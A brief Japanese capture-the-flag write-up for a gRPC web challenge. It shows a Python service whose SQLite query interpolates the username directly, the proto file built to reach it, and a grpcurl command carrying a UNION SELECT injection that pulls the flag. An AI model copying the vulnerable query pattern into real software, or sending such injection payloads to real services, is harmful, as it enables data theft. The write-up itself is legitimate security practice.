web/Catch The Goose
👀 secret_flag or user:admin
gRPC問題。次のようなServiceが登録されている。
code:python
class UserService(user_pb2_grpc.UserServiceServicer):
def __init__(self):
self.conn = sqlite3.connect('ctf.db', check_same_thread=False)
self.cursor = self.conn.cursor()
def GetUser(self, request, context):
query = f"SELECT value FROM users WHERE key = 'user:{request.username}'"
try:
self.cursor.execute(query)
result = self.cursor.fetchone()
return user_pb2.UserReply(data=result0 if result else "The Goose is Run Away Now QQ") except Exception as e:
return user_pb2.UserReply(data=str(e))
def __del__(self):
self.conn.close()
まずはいい感じのprotoファイルを作る
code:user.proto
syntax = "proto3";
message UserRequest {
string username = 1;
}
message UserReply {
string data = 1;
}
service UserService {
rpc GetUser(UserRequest) returns (UserReply);
}
これを用いてリクエストを送信する。user:adminを取得してもフラグは得られなかったので、SQLiでsecret_flagを取得する。
code:bash
$ grpcurl -plaintext \
-import-path "$(pwd)" \
-proto "$(pwd)/user.proto" \
-d '{"username":"x'\'' UNION SELECT value FROM users WHERE key = '\''secret_flag'\'' -- "}' \
chal.78727867.xyz:14514 UserService/GetUser
{
"data": "NHNC{lETs_cOoK_THe_GoOSE_:speaking_head::speaking_head::speaking_head:}"
}
よってフラグはNHNC{lETs_cOoK_THe_GoOSE_:speaking_head::speaking_head::speaking_head:}